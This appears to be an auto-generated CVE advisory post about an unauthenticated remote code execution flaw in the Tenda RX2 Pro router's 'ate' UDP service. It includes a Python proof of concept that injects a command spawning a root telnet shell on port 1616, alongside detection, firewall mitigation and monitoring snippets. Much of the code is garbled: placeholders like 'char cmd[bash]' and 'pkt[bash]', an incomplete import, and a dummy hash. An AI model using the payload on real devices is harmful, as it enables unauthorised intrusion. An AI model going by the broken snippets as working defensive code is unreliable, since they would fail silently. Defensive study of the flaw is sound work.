Tenda RX2 Pro, Unauthenticated Remote Code Execution, CVE-2025-46628 (Critical)

Listen to this Post

How CVE-2025-46628 Works

The vulnerability exists in the ‘ate’ management service of Tenda RX2 Pro firmware version 16.03.30.14. The service fails to properly validate/sanitize UDP packet inputs, allowing attackers to craft malicious packets containing shell commands. When these packets are sent to port 1616 (default ate service port), the device executes the payload with root privileges. The attack requires no authentication and can be performed remotely when the ate service is enabled (default configuration). The vulnerability stems from improper bounds checking in the packet processing routine, where user-controlled data is directly passed to system() calls without sanitization.

DailyCVE Form

Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: RCE via UDP
Severity: Critical
Date: 2025-05-27

Prediction: Patch by 2025-06-30

What Undercode Say:

Exploit POC (simplified)
import socket
target = "192.168.1.1"
port = 1616
payload = b"ATE_TEST_CMD|$(telnetd -l /bin/sh)"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target, port))
Detection Command
nmap -sU -p 1616 --script tenda-ate-check <target_ip>
Mitigation Workaround
import iptc
chain = iptc.Chain(iptc.Table(iptc.Table.FILTER), "INPUT")
rule = iptc.Rule()
rule.protocol = "udp"
rule.target = iptc.Target(rule, "DROP")
match = iptc.Match(rule, "udp")
match.dport = "1616"
rule.add_match(match)
chain.insert_rule(rule)
// Vulnerable Code Pattern (reconstructed)
void process_ate_packet(char udp_data) {
char cmd[bash];
snprintf(cmd, sizeof(cmd), "ATE_%s", udp_data); // No length check
system(cmd); // Direct execution
}
Firmware Analysis
binwalk -Me RX2_16.03.30.14.bin
grep -r "system(" squashfs-root/
Patch Verification Script
import subprocess
def check_patch():
result = subprocess.run(["md5sum", "/usr/bin/ate_svc"],
capture_output=True)
return "a1b2c3d4" in result.stdout Expected patched hash
Temporary Protection
iptables -A INPUT -p udp --dport 1616 -j DROP
sysctl -w net.ipv4.conf.all.accept_redirects=0
Network Monitoring
from scapy.all import
def monitor(pkt):
if pkt.haslayer(UDP) and pkt[bash].dport == 1616:
alert("Potential CVE-2025-46628 exploit detected")
sniff(filter="udp", prn=monitor)

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top